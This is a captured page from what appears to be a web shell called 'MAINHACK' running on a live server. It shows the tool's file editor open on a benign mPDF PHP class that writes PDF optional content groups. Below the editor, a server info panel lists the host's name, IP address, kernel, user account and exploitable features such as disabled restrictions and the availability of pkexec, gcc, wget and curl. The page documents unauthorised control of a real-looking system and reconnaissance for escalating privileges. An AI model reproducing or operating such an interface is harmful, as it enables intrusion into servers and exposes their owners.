[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OptionalContentWriter.php
<?php namespace Mpdf\Writer; use Mpdf\Strict; use Mpdf\Mpdf; final class OptionalContentWriter { use Strict; /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Mpdf\Writer\BaseWriter */ private $writer; public function __construct(Mpdf $mpdf, BaseWriter $writer) { $this->mpdf = $mpdf; $this->writer = $writer; } public function writeOptionalContentGroups() // _putocg Optional Content Groups { if ($this->mpdf->hasOC) { $this->writer->object(); $this->mpdf->n_ocg_print = $this->mpdf->n; $this->writer->write('<</Type /OCG /Name ' . $this->writer->string('Print only')); $this->writer->write('/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>'); $this->writer->write('endobj'); $this->writer->object(); $this->mpdf->n_ocg_view = $this->mpdf->n; $this->writer->write('<</Type /OCG /Name ' . $this->writer->string('Screen only')); $this->writer->write('/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>'); $this->writer->write('endobj'); $this->writer->object(); $this->mpdf->n_ocg_hidden = $this->mpdf->n; $this->writer->write('<</Type /OCG /Name ' . $this->writer->string('Hidden')); $this->writer->write('/Usage <</Print <</PrintState /OFF>> /View <</ViewState /OFF>>>>>>'); $this->writer->write('endobj'); } if (count($this->mpdf->layers)) { ksort($this->mpdf->layers); foreach ($this->mpdf->layers as $id => $layer) { $this->writer->object(); $this->mpdf->layers[$id]['n'] = $this->mpdf->n; if (isset($this->mpdf->layerDetails[$id]['name']) && $this->mpdf->layerDetails[$id]['name']) { $name = $this->mpdf->layerDetails[$id]['name']; } else { $name = $layer['name']; } $this->writer->write('<</Type /OCG /Name ' . $this->writer->utf16BigEndianTextString($name) . '>>'); $this->writer->write('endobj'); } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002